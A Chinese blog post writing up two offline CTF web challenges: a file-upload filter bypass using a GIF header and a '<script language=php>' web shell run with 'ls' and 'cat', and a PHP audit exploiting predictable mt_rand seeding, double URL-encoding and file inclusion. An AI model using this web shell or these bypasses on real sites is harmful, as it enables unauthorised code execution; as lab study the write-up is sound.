两个Web的基础类型题目,因为是断网比赛,知识点相对凝练,并没有很考察脑洞,记录一下。
0x00 Web题目1
访问地址并分析返回包,在数据包发现一个特殊字符串,怀疑有特殊含义。
Base32解码,获得一个文件名称。
访问该文件名称地址,发现页面,一个文件上传功能
http://10.1.103.56/NiGhT_CiTy.php
简单测试了下,发现有拦截,拦截的是文件内容,并没有针对扩展名。尝试多种shell构造方式,短标签等,发现拦截<?。想到样式绕过,使用上传数据包如下:
POST /NiGhT_CiTy.php HTTP/1.1
Host: 10.1.103.56
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------19602015773228774771117156873
Content-Length: 401
Origin: http://10.1.103.56
Connection: close
Referer: http://10.1.103.56/NiGhT_CiTy.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------19602015773228774771117156873
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/gif
Gif89a
<script language=php>system($_GET['a'])</script>
-----------------------------19602015773228774771117156873
Content-Disposition: form-data; name="submit"
Upload
-----------------------------19602015773228774771117156873--
发现,shell成功上传,之后执行命令,寻找flag文件,获取文件内容即为flag。
http://10.1.103.56/upload/1.php?a=ls%20/
http://10.1.103.56/upload/1.php?a=cat%20/dflag
0x01 Web题目2
一个代码审计题目,从代码逻辑来看,还算是简单。
function generateRandomNumber() {
$time = gmmktime();
$b = substr($time, 0, 4);//获取时间的前四位作为随机数种子
mt_srand($b);
$i = mt_rand();
echo "Randrom:" . ($i) . "<br />"; //返回的字符串是这个
$sui = 0;
while ($i < 30) {
mt_rand();
$i++;
}
$sui = mt_rand();
return $sui;
}
function checkAccessAndFlag() {
$randomNumber = generateRandomNumber(); //需要提交的字符串即data
if (isset($_GET['id']) && isset($_POST['data'])) {
if ($_POST['data'] == $randomNumber)
{
echo 'aaaaaaaa';
}
//id字段两次urlencode可绕过
if ($_POST['data'] == $randomNumber && !preg_match("/SmallJokeIsAlsoBigBomb/i", $_GET['id'])) {
$_GET['id'] = urldecode($_GET['id']);
if ($_GET['id'] == "SmallJokeIsAlsoBigBomb" && urlencode($_GET['id']) === $_GET['id']) {
echo "eval.txt". "<br/>";
include $_GET['file']; //恶意文件包含漏洞
} else {
echo "Access granted, but 'id' is invalid!";
}
} else {
echo "Access denied!";
}
} else {
echo "Access denied: Missing parameters.";
}
}
error_reporting(0);
checkAccessAndFlag();
需要拿到多次随机运算后的数字作为data,id将字符串做两次urlencode,eval.txt是一句话木马,还有一个文件包含漏洞拿到权限。
现场多次尝试,运算出来的随机数key不对,考虑随机数生成的机制,是否与机器硬件有关,尝试爆破,也没成功。回来两台笔记本测试,发现生成的key也不一样。
mt_rand()的生成的随机数只跟seed和调用该函数的次数有关。这个特性想到了,但没了解php的版本也应当一致,结果没做出来。
正好两台电脑也是数字不同,查看php版本一个5版本,一个7版本,调整为同一个,发现生成数字相同,构造数据包即可获得flag。
种子相同、PHP版本(确切的说是PHP内核中 mt_rand的代码逻辑)相同,生成的随机数都是一样的。理论上来说只要拿到了生成的随机数,我们就可以在本地进行种子的爆破。
0x02 总结
两个tips:
题目1知识点是脚本式执行php代码的方法:<script language=php></script>。
题目2知识点是m_srand函数的特定,需要php版本一致。
原文始发于微信公众号(here404):两个基础Web的CTF题目
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论